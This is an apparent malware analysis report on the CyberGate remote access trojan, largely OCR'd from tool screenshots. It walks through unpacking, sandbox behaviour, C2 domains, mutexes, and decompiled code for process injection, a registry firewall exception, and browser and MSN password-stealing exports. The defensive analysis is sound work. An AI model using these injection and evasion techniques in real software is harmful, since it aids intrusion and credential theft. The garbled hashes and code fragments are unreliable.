CyberGate Technical Analysis
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Experience Level required: Intermediate

Objectives

In this report, we will analyze CyberGate, a Delphi malware, to determine its function and
capabilities.
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Overview

According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an
attacker to gain unauthorized access to the victim’s system. Attackers can remotely connect
to the compromised system from anywhere around the world. The Malware author generally
uses this program to steal private information like passwords, files, etc. It might also be
used to install malicious software on the compromised systems.

Basic Analysis

Sample Hash: dbcle78c7644c07el178acd@9bc3b02c230dba253dab5e45e5bchf4bel120a05bc

Let’'s get some information about this sample. I'll use pestudio

pestudio 9.56 - Malware Initial Ascessment - www.winitor.com - [c\users\mdlcode\desktop\dbc1e78c7644c07e178acd09bc3b02c230dba2 53dab5ed5e5bcbfdbel 20a05b c.exe] - [read-only] — [m] *
file settings about
rsumdlcodetdesktophdbc]e78c7644c07e174 property value
footprint > sha256 DBCIETSCT644C07ET178ACDOIBCIB02C230DBA253DABSEA5E5BCBFABET120A05BC
first-bytes » hex 4D 5A 50 00 02 00 00 00 04 00 OF 0D FF FF 00 00 B3 0O 00 00 0D 00 00 00 40 00 1A 00 00 00 00 00 00
- dos-header (size > 64 bytes) T bytes sl MEE s rssesnnpano st Wi ot e
-} file » size 282624 bytes
b entropy LEEd
- b file-header (executable > 32-bit) signature UPX -> www.upx.sourceforge.net
> optional-header (subsystem > GUI)
= directories (count > 3) file-type executable
e b oy 32-bit
k] subsystem GUI
£
i)
= stamps
=] compiler-stamp Fri Jun 18 22:22:17 1992 | UTC
abe
g
- e
file chusers\mdlcode\desktophdbel e78c7644c07e178acd09bc3b02c230dba2 53dab5ed5e5bebf4be120a05be..,
< >
sha256: DBC1E78CT644C0TE178ACD09BC3B02C230DBA253DABSE4SESBCBF4BE120A05BC cpu: 32-bit  file-type: executable subsystem: GUI entry-point: 0x00055C00
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file settings about

%

E pestudic 9.56 - Malware Initial Assessment - www.winiter.com - [chusers\mélcode\desktoptdbc1e78c7644c07e1782cd09bc3b02c230dba233dabied5eIbcbfibe120a05be.exe] - [read-only]

g@ footprints (count > &)

oS

> dos-header (size > 64 bytes)
- dos-stub (size > 192 bytes)

£ directories (count > 3)

] libraries (flag » 2)
4] imports (flag > 14)

strings (count > 7102)

CAEmS Bl L

<

> file-header (executable » 32-bit)
- > optional-header (subsystem > GUI)

Bl s=ctions (characteristics > self-modifying)

- m7] chusersimdlcodeldesktophdbel e78cTEM DT TE
il indicators (sections > writable = name)

>

property
section

entropy
file-ratio (99.64%)
raw-address (begin)

raw-address (end)
raw-size (281600 bytes)
virtual-address
virtual-size (352236 bytes)

characteristics
read

write

execute

share
self-modifying

virtual

base-of-data
entry-point

sha?56: DBC1E7RCTB44C07E17BACDO9BC3B02C230DBAZ53DABSEASESBCBFABE120A058C

section[0]

section[1]
upx1

000001000
000011000 (69632 bytes)

0xEQDDO0BD
x
x
x

i
X

0x00012000

cpu: 32-bit  file-type: executable

7.754
98.37 %

0x00043E00
000012000
0x00044000 (278528 bytes)

78016 bytes)

OxEQDDD040
x
x
x

x

000056000
(00055080

(00056000
0x00055C00

TOUDEEEBEA0r 105 16299B43...

subsystem: GUI

value

section[2]

JFSTC
BFF1ES50DF185C0C0416123...
5.573

127%

0x00056000
0x00001000 (4096 bytes)

OxCO000040
x
x

(000056808

entry-point: 0x00055C00

We have some indicators that this sample is packed using UPX Packer, as shown in the
figure above, UPX is a file compressor. It reduces the file size of programs and DLLs by
around 50%-70%, malware authors use that packer to obfuscate and compress their

malicious code.

We can unpack this sample by using UPX tool as seen below

upx.exe -d

C:\Users\M4lcode\Desktop\dbcle78c7644c07el78acd09bc3b02c230dba253dab5e45e5bchbf4bel120

af5bc.exe

EX Ch\Windows\system32\cmd.exe

Note: The packed file will be replaced by the unpacked one
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file settings about

pestudic 9,56 - Malware Initial Assessment - www.winitor.com - [c\users\m4lcode\desktop' dbc1e78c7644c07e1782cd09bc3b02c230dba2 33 dab5ed 5e5bcbfabel 20a05bc.exe] - [read-only]

il indicators (libraries > flag > name)
g’é footprints (count > 15)

- 1= dos-header (size > 64 bytes)
Bl dos-stub (size > 192 bytes)

ik er (n/a
« > file-header (executable » 32-bit)

» optional-header (subsystem > GUI)
54 directories (count = 3)
- b sections (files > 3)
~ | libraries (flag > 2)
" imports (flag > 113)

5 resources [size > file-ratio)
~abe strings (count = 7903)

<

property
footprint > sha236
first-bytes » hex
first-bytes » text
file » size

entropy

tosling
file-type
o

subsystemn

sha236: 4A32804E7CA16B8EA247CCDT157B3884AFCTD5DERB0E4259TBDBATDETESSSEE

value

4A32894E7CA16BSEAZ47CCDT157B3BB4AFCTDSDESBOE42597BDEA 1 DETEIISELE

4D 5A 50 00 02 00 00 00 04 00 OF 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 1A 00 00 00 00 00 00
297472 bytes

7.814

Delphi
executable
32-bit
GUI

cpu: 32-bit  file-type: executable subsystem: GUI entry-point: 0x0000BBF4

The malware is 32bit and it is written in Delphi, as you can see in the image above.

Let’s see if it's packed or not. I'll use DIE
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Entropy

Type
FE32

Total
7.81359
Regions
Offset
0000bal0
0000cBD0

0000c800
00004400

Diagram

[] Grid

e e e e e e e e e e E e e

Offset

00000000

Size
0000000
00000200
0000000
0003b600

e
50,000

packed(37%)

Entropy Status
477655 not packed
020826 not packed
0.00047 not packed
T.95655 packed

MName
Section(3)[".idata']
Section(3)[".rdata']
Section(B1".reloc']
Section(7)[".rsrc']

150,000

The sample is packed, specifically .rsrc section

Before doing the advanced analysis we need to see the sample behavior in a sandbox, Ill

use tria.ge.

The processes created by CyberGate:

Count

100 =

250,000
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"8 Processes

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
m C\Users\Admin\AppData\Local\Temp\dbcl1e78¢7644c07e178acd09be3b02¢230dba253dab5e45e5bebfd
bel120a05bc.exe
'C:\Users\Admin\AppData\Local\Temp\dbc1e78c7644cB7e178acdd9bc3bB2c2308dba253d
ab5ed45e5bchfabe128aB5be . exe”
B C:\Windows\SysWOW64\explorer.exe

| |

| ——— |
explorer .exe
C:\Program Files\Internet Explorer\iexplore.exe
I
"C:\Program Files\Internet Explorer\iexplore.exe"

C:\Users\Admin\AppData\Local\Temp\dbcle78c7644c07e178acd09bc3b02c230dbaz53dab5e45e5bch
f4be120a05bc.exe
"C:\Users\Admin\AppData\Local\Temp\dbc1e78c7644cB7e178acdB9bc3bB2c230dba2
53dab5e45e5bcbf4be128a85bc . exe”

C:\din\install\spynet\server.exe

‘C:\dir\install\spynet\server.exe"

CyberGate tried to communicate with these C2 servers in WIN10 Sandbox

PID:1356

PID:2348

PID:2044

PID:1392

PID:1244

PID:568

a
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W INCLWUIR -

TCP ubpP
5 DNS 57.169.31.20.in-addr.arpa ~
E DNS tsel.mm.bing.net v
5 GET https://tsel.mm.bing.net/th?id=0ADD210239370639702_1LY06F7YB2ZFOD3G5&pid=21.28¢=16&r0il=08&r0it=0&r0ir=1&r0ib=18&w=19208h=10808dynsi... +
5 GET https://tsel. mm.bing.net/th?id=0ADD210239370639330_1D80T5H13WVAODNQBEpid=21.2&c=16&r0il=0&roit=0&roir=1&r0ib=1&w=1920&n=1080&dy...
E GET https://tsel.mm.bing.net/th?id=0ADD210239370255188 1EKPMYV01DV13G64K&pid=21.2&c=16&r0il=08&roit=0&roir=1&roib=18w=1920&h=1080&dyns...
B | GET https://tsel.mm.bing.net/th?id=0ADD210239370639703_1XZVEAKL 3PD7EZGL4&pid=21.2&c=38w=1080&h=1920&dynsize=1&qIt=80 ~

Remote address:

158.171.28.18:443

Request

GET /th?id=0ADD2.18239370639783_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=18q1t=98 HTTP/2.0
host: tsel.mm.bing.net

accept: */*

accept-encoding: gzip, deflate, br
user-agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.8.3538.1082 Safari/537.36 Edge/18.19841

Response
HTTP/2.8 2068

cache-control: public, max-age=2592608
content-length: 6376680

content-type: image/jpeg

x-cache: TCP_HIT
access-control-allow-origin: *
access-control-allow-headers: *
access-control-allow-methods: GET, POST, OPTIONS
timing-allow-origin: *

report-to: {"group":"network-errors", "max_ag

':684800, "endpoints” :[{"url”:"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]}

nel: {"report_to":"network-errors", "max_age" :604880, "success_fraction":8.081, "failure_fraction":1.8}

accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-
UA-Platform, Sec-CH-UA-Platform-Version

x-msedge-ref: Ref A: @B4A170574E34DAA952B8A2D23DB4A9C Ref B: LONB4EDGEBI16 Ref C: 2024-86-20T83:15:19Z

date: Thu, 28 Jun 2824 83:15:19 GMT

@
m
-

=

= o
e

DN

[

GET

DNS

DNS

DNS

GET

GET

DNS

GET

DNS

DNS

DNS

DNS

DNS

DNS

DNS

https://tsel.mm.bing.net/th?id=0ADD2.10239370639329 16GDTY03HOS5SY 2UBG&pid=21.2&c=3&W=1080&n=1920&dynsize=1&qIt=90 v

https:/ftsel.mm.bing.net/th?id=0ADD2.10239370255189_1E7XE0SO5A57SENIS&pid=21.2&c=3&w=1080&8h=1920&dynsize=1&qIt=90 ~

g.bing.com v
https://tsel.mm.bing.net/th?id=0ADD2.10239370255189_1E7XE0SO5SA57SENIS&pid=21.2&c=38&w=1080&h=1920&dynsize=1&qIt=90 ~
g.bing.com ~
10.28.171150.in-addr.arpa ~
43.56.20.217.in-addr.arpa ~
95.221.229.192.in-addr.arpa ~
183.142.211.20.in-addr.arpa ~

https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitld=11730597&publisherld=251978541&rid=980f790cc2084ae589303b6ebceb0fb...

https://g.bing.com/neg/0?action=emptycreative&adUnitld=11730597&publisherld=251978541&rid=9801790cc2084ae589303b6ebceb0fbI&localld=

https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitld=11730597&publisherld=251978541&rid=980f790cc2084ae589303b6ebceb0fba...

237197.79.204.in-addr.arpa v

https://www.bing.com/th?id=0ADD2.10239359720591_10PHTLBML42KE TRZO&pid=21.2&c=16&r0il=0&roit=08&roir=1&roib=1&w=248h=24&dynsize=1&... ~

97.61.62.23.in-addr.arpa v
j230uy.no-ip.info DEC1E7ECT644.. v
j230uy.no-ip.org DEC1E7ECT644.. v
142.99.95.204.in-addr.arpa v
142.99.95.204.in-addr.arpa v
142.99.95.204.in-addr.arpa v
133.211185.52.in-addr.arpa v

164.189.21.2.in-addr.arpa

26.165.165.52.in-addr.arpa

198.187.3.20.in-addr.arpa

92.12.20.2.in-addr.arpa

CyberGate creates mutexes to avoid running multiple instances of it at the same time.
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Behavior activities
(P1D: 3988) dbc1e78c7644c07e178acd09be3b02c230dba253dab5e45e5bebfdbel2...

-

Source: mutexes First seen

iI:YE-ERGATE mutex has been found

MUTEX

CREATE

X_X PASSWORDLIST X X
0x00000000

Behavior activities
(P1D: 1064) iexplore.exe

Source: mutexes First seen: 2328 ms

EYB ERGATE mutex has been found

MUTEX

CREATE
***MUTEX***_PERSIST
Ox 40000000




Behavior activities
(PID: 588) server.exe

C?BERGATE mutex has been found

MUTEX

CREATE
X_X_UPDATE_X X
000000000

" MUTEX*™*_PERSIST
CREATE

0x40000000

MUTEX

e MUTEX™*
CREATE
MUTEX

X _X_PASSWORDLIST X x_
CREATE
MUTEX

T MUTEX™*_SAIR
CREATE
MUTEX

Mutexes:




* * *MUTEX* * %
***MUTEX* **_PERSIST
FEXMUTEX* **_SAIR

***MUTEX***

Dropped files

CyberGate dropped some files, Let’s take a look on them

4fa4d8b33f615ch05345165fcdc59125b0667121¢c3d3557629c4c859f77d3aba
fa7166dclceOeal67556d47al6ce8d9cheab652d6cef6b8873c78767ef9485e79
51a3fe220229aa3fdddc909e20a4b107e7497320a00792a280a03389f2each46
4a32894e7cal6b8ea247ccd7157b3884afc7d5de880e42597hd8a1d87e935e4e

UuU.uUu

This file Contains only a time value

09:59:34

B HxD - [C:\Users\M4lcode\Desktop\ 0x00070000000234da-161]
ﬁ File Edit Search View Analysis Tools Window Help

Bv L) WY @16 ]| Windows (ANSD B | [ hex &
5] 0x000TO000000234da-161

Offsec(h) 0C 01 02 03 04 05 06 07 08 02 OA OB OC OD QE OF Decoded text
00000000 ISCI 38..38 35.39 33233 34 §9:59:3‘3

XX-XX-XX.txt

Contains two paths

C:\Users\Admin\AppData\Local\Temp\dbcle78c7644c07el178acd09bc3b02c230dba253dab5e45e5b

cbf4bel20a05bc.exe|c:\dir\install\spynet\server.exe|

in the first 88 byte, after that there is dump bytes
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10 HxD - [CAUsers\ Mdlcodel Desktoph0x00070000000234d5-69] - [m] *
E File Edit Search View Analysis Tools Window Help -5 X
Bl | W ka6 | Windows (ANs) o ke o
) 0x00070000000234d5-69 Special editors x
Offset(h) 00 01 02 03 04 05 06 O7 0% 09 OA OB OC 0D OE OF Decoded text | Data inspector
00000000 k3 3a 5C 55 73 €5 £:\Users\Admin\a 144 b 0l
00000010 7O 70 44 &1 74 &1 ppData\Local\Tem
00000020 70 5C 64 62 €3 31 phdbcle78c7644c0 Binary (8 bit) 01000011 ~
00000030 37 65 31 37 38 61 Tel78acd08bc3b02 Int8 gotor 67
00000040 cz30dba253dabsed g B
00000050 SeSbcbfdbel20a0s gofo:
00000060 bo.exe|c:\dir\in Int16 goto: 14913
00000070 stall\spynet\ser Ulnt16 goto: 14915
00000080 ver.exe |62 .@EAT O Int24 goto: 6044227
00000080 0 B1r GEOTEE $44 Ulnt24 oto: 6044227
6 gofo:
00000020 FEEREEDC EE 0D Int32 goto: 1432107567
00000080 OIr OOUOTHEE #4## :
000000Co EEHH0Z . @EAS 065 Ulnt32 ot 14307581
00000000 8 IroI0rwEEEs #4404 Int&4 goto: 8318823007734479427
000000ED 8 #4402 . @EA 0051 Ulnt64 goto: 8318823007734479427
000000F0 8c CIUrnEEiF#40444 LEB128 goto: -61
00000100 23 FOARRRCRIIIT IR ULEB128 goto; 67
00000110 20 BEEEE FEFFERREF AnsiChar / chard_t c
00000 129 23 FEECEEEE FHFEES Lo,
00000130 23 4% FEEE0F$4F #4 WideChar / charl6_t =3
00000140 23 FHOEREE HEFICHES UTF-8 code point C (U+0043)
00000150 23 F ORRRREEEEF FEd Single (float32) 15133924392960
On0D0TEN 20 Briir pREz€ESEL Double (float64) 1286253938548 346248
00000170 23 FREFCHEET FRFHEF OLETIME Ivalid
00000180 23 #3% FRER0EEEF 24 — o
00000180 23 FEQEEEE $ES4Q884 EILFTIME Inalid
000001A0 23 PEEEEEER044#4020 Byte order
00000180 23 ol LS P F R R (@) Little endian () Big endian
000001C0 40 GREERREIIIIFRRAE
000001D0O 86 #3488 1200Ta00TEY & [[1 Hexadecimal basis (for integral numbers)
Offset(h): 0 Overwrite
logs.dat
This file contains 9 bytes with random letters, maybe it is a decrypted string and the
B HxD - [C\Users\M4lcode'\ Desktop' 0x00080000000234d3-147] - [m] X
i?] File Edit Search View Analysis Tools Window Help -8 x
BvL)| W@ @6 | Windows (aNs) e [
58] 0xDD0BO000DD0234d5- 147 Special editors x
Offset(h) 00 01 02 03 04 05 06 07 08 0% OA OB OC OD OE OF Decoded text Data inspector
00000000 75 €6 44 51 63 47 47 4B €B 0D OA 23 23 23 23 GEDQCGGHK. . $34# 144 b bl
Intd gote: 117
Ulntg gote: 117
Int16 goto: 26229
Ulnt16 gote: 26229
Int24 goto: 4482677
Ulnt24 goto: 4482677
goto: 1363437173

server.exe

Int32

This is the process that the malware injected malicious code in, we will take a look at it later.

Let’s take a fast look at the code of the sample before unpacking it

Advanced Analysis

1st Stage

Let’s open the sample in IDA

we need to do some changes in IDA options



1- Disable the analysis

O Load a new file x
Load file ...ode'\Desktopdbcle 78c 764400 7e 178acd09be3b02c230dba 2 5 3dab 5e45e Sbocb f4be 120a05be. exe as
Portable executable for 80386 (PE) [pe.dll]
M5-D05 executable (EXE) [dos.dll]
Binary file
Processor type (double-dick to set)
Intel Pentium protected with MMX 20586p ~
Intel Pentium real with MM 20586r
MetaPC (disassemble all opcodes) metapc
hd Intel 360 processors
Intel 360 XP 3a0xp LY
e
Loading segment  0x00000000 Kernel options 1| |Kernel options 2| Kernel options 3
[ ] Enabled
Loading offset  |0x00000000 [] Indicator enabled Processor options
Options
Loading options Create segments |:| Load resources
Fill segment gaps |:| Create FLAT group Rename DLL entries
Load as code segment Create imports segment [ ] Manual load

Cancel Help

L s B 4 FATAUTAAR T S TEATT ST e

2- in options » compiler, select the following options
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Compiler

AEI name

Calling convention
Memory model

Painter size

Default alignment

sizeofint)
sizenf(bool)
sizenf(enum)

sizeof{long double)

Predefined macros

Indude directories

Source parser

Arguments

E‘ Compiler ocptions

Delphi e

bl Options
Fastcall -~
Mear Code | Mear Data

Mear 32hit, Far 64bit -~

sizeof{short)
sizeof{long)
sizeof{longlong)

| __BORLANDC__=0x550; v]
| ~]

<default= | Syntax: C

Parser spedific options

Cancel

3- in options » general » analysis, select the following options

e o
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™ DA Options

Disassembly Analysis Cross-references Strings Browser Graph Misc

Processor specific analysis options
Indicator enabled

Bt i et e M e e e el et G e it i W we e

Memory mapping

Target processor | MetaPC (disassemble all opcodes) w Set

Target assembler | Generic for Intel 30x86 w

U —— Kernel options1 | |Kernel options2 | |Kernel uptiunsﬂl
Enabled

Reanalyze program

§
]
H
H
4
|
3
3
3
i Cancel Help
H

Now we can analyze this sample

Creating and Checking Mutexes

sub_403568 function creates a mutex using CreateMutexA API

41 | int v38; // [esp+d@h] [ebp-1Ch] BYREF

42 | int v39; // [esp+ddh] [ebp-18h] BYREF

43 | int v48[5]; // [esp+48h] [ebp-14h] BYREF
44 | int savedregs; // [esp+SCh] [ebp+@h] BYREF
45
46 | sub_483418(dword_4@BB24);
47 | w22 = &savedregs;

48| wv21[1] = &loc_4eCaca;

49 [ v21[@] = NtCurrentTeb()-»NtTib.ExceptionList;
58 | _ writefsdword(@, v21);
51 | Mutexl = sub_483563(@, @, 1_x_X_UPDATE_X_x_"JI
52 | if ( GetLastError(} == 183 )

53| {

54 CloseHandle(Mutex1);
55 Sleep(@x2EEBU);

56

57| else

58

59 CloseHandle (Mutexl);
. 1
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‘nstruction Data Unexplored External symbol [l Lumina function

o e x| @

A

Sy

2

4l

IDA View-A B Pseudocode-A B T Hex View-1 [x] Structures B B Enums B Imports
1 HANDLE _ stdcall sub_483568(LPSECURITY_ATTRIBUTES lpMutexAttributes, int a2, LPCSTR lpName)
return CreateMutexA(lpMutexAttributes, a2 != @, lpName);
—

MUTEX: x X UPDATE_X_ x_

GetLastError() == 183: Checks if the mutex already exists.

If it does (error code 183), it closes the mutex handle and sleeps for 12 seconds

If it doesn't, it closes the mutex handle.

Next, sub_403568 creates another mutex

¥

Mt s
UTEXL

w R = ® 0

{

if
{

[ s R W R

iy

b B B L= O I T I s T e T & R 5

1

-
M

if ( GetLastError() == 1837]

‘ CloseHandle{Mutex1);

= sub_4@3568(8, @, |_x_J(_PASSI‘.'DRDLIST_.‘(_x_":l;I

CloseHandle{Mutex2);
sub_489AD4(v4a, Mutex2);
sub_481B14(&dword_48F1EC, v4o[@]);

dword_48F1EC )

vl4 = sub 481D50(dword 46F1EC);
sub_ 486088 (&v39);

sub_481058(&v39, &str NOIP_abc[1]);
sub_465078(v39, dword 40F1EC, vi1d);

MUTEX: x_X PASSWORDLIST X_x_

if the mutex already exists it closes the handle and go to sub_409AD4

In the most cases this mutex will not exists, so the malware will jump to 0x0040BFAQ

address
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IDA View-A Pseudocode-A =] =) Hex View-1 B & Structures i3l Enums (x] Imports B @ Exparts
GetTempPathA(vE, v33
sub_481058(&v 29 &str TEWEE_abc[1]);
sub_485078(v29, " dword_ _4@F1EC, v34);
}
}

else

{
CloseHandle (Mutex
Utexh 0 = Created Trees \ 9(8, @, "_x_X_BLOCKMOUSE_X_x_"};
if ( GetlastError() = 183 )

1 CloseHandle(Mu A B);
139 SEtl\llnduwsHDDkExA(IE fn, hmod, @);

3
148 fD!" ( i = SetWindowsHookExA(14, sub_48B188, hmod, @); !sub_48BAB4(i); i = sub_485918() )

ExitPrn:ess(B);

28, &str_Restart_e[1]);

148 Sleep(@x3E8u);

w13 = sub_404604(v11);
v14 = sub_48491C(viz);
sub_48B118(v14);
15 = sub_4@1F48(*off_48D204);
16 = CreateMutexA_0(8, @, vi5);
if ( GetLastError() == 183 )

CloseHandle(v16);
SlEEp(BxEESu)

158 = sub_4@1F43(*off_4eD284);
159 16 = CreateMutexh_8(@, 8, v17);

The malware will closes the handle and creates another mutex

MUTEX: x X BLOCKMOUSE X x_

Process Injection

In process injection technique, the malware attempts to open a handle of a process either
created or already existing in the system’s memory.

In sub_40B7FC CyberGate tries to find a specific window named (Shell_TrayWnd) to
retrieve its process ID, and opens a handle to that process. But if it's not found it tries to
create a new process named (explorer.exe), then call sub_4040F4 with
Processinformation, hProcess as parameters

28 else
29| {
3@ CloseHandle(vl);
31 vZ = sub_481F3C(off_48D1CC);
32 indowA = FindWindowA("Shell TrayWnd", @);
33 Getl\llndDwThr‘eadPr‘ocessI WindowA, D-c-:.= Id);
34 mw_OpenProcess = OpenProcess(BxlFGFFFu 8, dwProcessId);
35 if ( !sub 4348F4( ¢_OpenProcess, v2) )
36 i
37 sub_483738(&5¢
38 sub_483738(&Froc
39 CreateProcessA(@, , @, @, 4u, @, @, &tartupInfo, &ProcessInformation);
48 sub_4848F4(ProcessInformation. hProcess v2);
a1 1
2| 3
43 | _ writefsdword(e, vc[@]);
44 v7 = &loc_48B901;
45 | return sub_4@1AC8(&vE);
46 [}
0000RCOE sub_40BTFC:4€ (40BS06)

After allocating memory within the created or existing process, the malware fills this
memory with the code intended for injection, which contains the malicious instructions.

And that happens in sub_4040F4

The function has loop attempts to allocate virtual memory by using VirtualAlloc, then tries
to allocate memory in the process using VirtualAllocEx. This loop continues until it
successfully allocates memory (v5) or v3 exceeds 0x30000000 bytes.
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Then it applies protection attributes to the allocated memory by using VirtualProtect

Then it Uses WriteProcessMemory to write data to the allocated memory in the target

process.
e wae = wy
25| w2 = w13 + *(vi3 + 68);
26 Vi o= Bxleaaesaa;
27| do
28| {
29 V3 += Bx10888;
EL A ted_memory = VirtualAlloc((v3 + *(v2 + 52)), *(v2 + 80), @x3000u, Bx40u);
31 A ted_memory 1 = Allocated_memory;
32 if ( Allecated_memory }
33

34 virtualFree( ated_memory, @, @x8006u);

35 Allocated_menr 1 = virtualAllocEx(hProcess, (v3 + *(v2 + 52)), *(v2 + 88), 8x3880u, Bx48u);
36 3

37

38 | while ( !Allocated_memory 1 && vi <= 9x30000000 );
39 | wvirtualProtect @(hProcess, Allocated_memory 1, v13, lpBuffer);

48| 1 IpButter[@] )

|l {

42 vi1[@] = lpBuffer[@];

43 v11[1] = 1lpBuffer[3];

e WriteProcessMemory(hProcess, Allocated_memory 1, lpBuffer[@], lpBuffer[1], &NumberOfBytesWritten});
as mﬂﬁ’:cesi, sub_4846CC, vil, 8, ) )

46 vi2 = 1;

47

43 | _ writefsdword(@, v7[@]);

49 | wvd = &loc_484208C;
5@ | sub 4824F@(lpBuffer, &TLibInfo);
51 return v12;

After that the malware executes the injected code by using CreateRemoteThread in
sub_4038AC

Writing files

¢ IDA View-A [x] Pseudocode-A [ x| =] Hex View-1 [x] Structures B8 3 Enums (x| Im|
f 1 HANDLE _ fastcall sub 4@3BAC(HANDLE hProcess, LPCVOID lpBuffer, void *a3, SIZE T nSize, SIZE T a5)

2t

3| wvoid *v7; // esi

4| SIZE_T w8; // eax

5| DWORD (_ stdcall *w9)(LPVOID); // eax

6| HANDLE v1@; // eax

7 | HANDLE v11; // edi

& | DWORD ThreadId; // [esp+Ch] [ebp-Ch] BYREF

9| SIZE_T NumberOfBytesRead; // [esp+18h] [ebp-8h] BYREF

16 | LPWOID lpBuffera; // [esp+l4h] [ebp-4h]

1h¢

12 lpBuffera = a3;

13 sub_48387C(hProcess, a3, nsize);

14 sub_4037DC(1pBuffer);

15 = sub_48387C(hProcess, lpBuffer, vd);

16 = CreateRemoteThread(hProcess, @, @, v3, v7, 8, &ThreadId);

17| IO —

184 if (@5 )

1| {

20 WaitForsingleobject(v1e, @xFFFFFFFF);

21 ReadProcessMemory(hProcess, w7, lpBuffera, nSize, 8NumberOfBytesRead):

22

23 return v1l;

24 [}

The function sub_405D70 in sub_40B93C, creates and writes a file named XX—-XX-XX.txt
(which we took a look on it before) by using CreateFileA and WriteFile APIs
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——— i i
B4 }
85 sub_486888(&v23);
86 sub_481058(&v23, &str J0C 30 00 txt[1]);  // J00--00--X00 txt
B7 sub_48B93C{dword 48F1ES, v23);
B3 if ( *off 4eD214 == 1 )
.89
98 sub_4BBTFC();
91 Sleep(@x3EBu);
82
a3 sub_48B3CE();
s4| 3
DA View-A (%] Pseudocode-s (£ Stackofstart [ (@] Hex View-1 [x] Structures J Enums %] Imports
1 pgnt _ fastcall sub 485078(char *al, int a2, DWORD nNumberOfBytesToWrite}
2 |t
3| char *v4; // eax
4| HANDLE FileA; // eax
5| woid *v6; // ebx
6| const void *v7; // eax
7| unsigned int v9[2]; // [esp-Ch] [ebp-28h] BYREF
8| dnt *vi@; // [esp-4h] [ebp-18h]
9 [ DWORD NumberOfBytesWritten; // [esp+8h] [ebp-Ch] BYREF
18 | int v12; // [esp+Ch] [ebp-8h] BYREF
11| char *v13; // [esp+leh] [ebp-4h]
12| dint savedregs; // [esp+l4h] [ebp+h] BYREF
13
14 vl2 = a2;
15 vl3 = al;
16 | sub_4@1F38(al);
17 | sub_4@1F38(vi2);
18 | vl@ = &savedregs;
» 19 | va[1] = &loc_ae5E@A;
2@ | wvo[e] = NtCurrentTeb()->NtTib.ExceptionList;
21 writefsdword(®, v2);
22 AL e
23 v, @x42880080u, 2u, B, 2u, 8, @);
24
25 1)
26
b 27 if ( nNumberOfBytesTolrite == -1
28 SetFilePointer(FileA, @, @, @);
29 y7 = sub 4B1F9C(8&v12);
30 , V7, nNumberOfBytesToWrite, &NumberOfBytesWritten, @);
31 OSenancale(ve);
32
33 | _ writefsdword(e, va[e]);
34 vl = 8loc_485E11;
35| return sub_48LlAE4(&v12, 2);
36

00005170 sub_405D70:1 ({405D70)

Now that’s enough let’'s unpack the sample using unpacme, to make the process faster and
get directly to the main unpacked sample.

unpacme results
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https://www.unpac.me/
https://www.unpac.me/results/f558bde7-0edd-4c1b-8f6c-e90b3f898053

Always expand ATTBCK

Parent ¥

dbeleT8c7644¢07e1 20a05b¢ ClamAY: Win Trojan Agent. 36136
=
e
52 Unpacked Children 60

Unpacked Child ¥

t Och] 147: ClamAV: Win Dropper Det-10002744.0 i
- L ooumcaa i3
x32 dn 263 KB 20/06/1992 4 INDICATOR SUSPICIOUS EXE SQLQuery ConfidentialDataS.

Unpacked Child ¥

ﬂ 0722a71d925 19fe6db4T11 1td
w2) (exe) (29148) (Z0merisnz
Clamv: WinTrojan iac 7
4 INDICATOR SUSPICIOUS EXE SandbanProductD
4 RAT Cypergate
{4 SUSP XORed MSDOS Stub Message
4 MALWARE Win CyberGate

Unpacked Child ¥

1fd16ca095f155’ 150d3b44.
(o)
wz) (an) (322 x8) (zos0611992

OpenAnalysis Inc

1st Sample

Sample Hash:fc50cb7d6cb4f18992363fchal473464f526d5c574f4bfbdbed9e025a2072bbe

The sample is a dll written in delphi, I'll open in in IDA and I'll do the same thing | did for the
parent sample

The dll entry point doesn’t have anything important, so let’s start from StartHttpProxy
export

B = e daw w8 e == ew)c - e e pomoscmes 1=
LI I T [ (ST _________________________________}

Data [ Unexplored = External symbol [l Lumina function

7 ox IDA View-A xHE=l Hex View-1 B Structures B H Enums x| Imports [ E:] Exports [x]
|| Name Address Ordinal

oyiarGtean 00435750 1
StartHtpProxy 00430570 2

7] GeChromerass 00420ED8 3

GetCurrentMSNSettings 00420848 4

1f| GetMsNStatus 004201E8 5

1] setMshistatus 00420378 6

GetContactiist 00420708 7

1 f| Mozila3_5Password 0041EADS )

DIIEntryPoint 00436348 [main entry]

<]

Firewall Evasion
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e In sub_4302E4 the malware set Root Key to HKEY_LOCAL_MACHINE and attempts to
open a series of nested registry keys under

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parame

ters\FirewallPolicy\StandardProfile\AuthorizedApplications\List . It will
created if it does not exist

e Then concatenates three strings (v2, “:*:Enabled:”, and “Windows Firewall Update”)
into v7

 and finally Writes the concatenated string v7 to the registry above, using
System__AnsiString as the value name.

» “Windows Firewall Update” application has been added to the list of authorized
applications. The “*:Enabled:” part typically means that all ports and protocols are
enabled for this application, potentially allowing it to communicate freely through the
firewall.

Thats mean that the malware maybe run with name “Windows Firewall Update” to evade
firewall

Creating Mutex

Then the malware creates a mutex

MUTEX: xX_PROXY_ SERVER_Xx

return al;

Let’'s go to GetChromePass export

IDA View-A B Poeudocode 8 [EJ Pseudocode-8  [] @ Hex View-1 %] IE Structures %] [ﬁj Enums %] Import
1 jint _ usercall sub_43@2A8@<eax>(int alfi<ebx>)
2t
3 void *v1; // esi
5| LOBYTE(al) = 1;
6| wl = unknown_libname_ 95(8, 9| "ij‘ROX‘rLSERVERﬁXx")If"/ CreateMutexA
7| if ( GetLastError() == 183 )
a al = @;
9| CloseHandle(vl);
16
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r
AN IR AL | U O TR R |

sn [l Instruction || Data [] Unexplored = External symbol [l Lumina function

O & x IDA View-A Pseudocode-A = Hex View-1 & Structures = Enums = Imports
T A||MName Address Ordinal
£| EnviarStream 00435F80 1
I TOXY. 00430570 2
£ D420EE
= as 00420848 4
£| GetMSNStatus 00420153 5
1| setMsNStatus 00420378 6
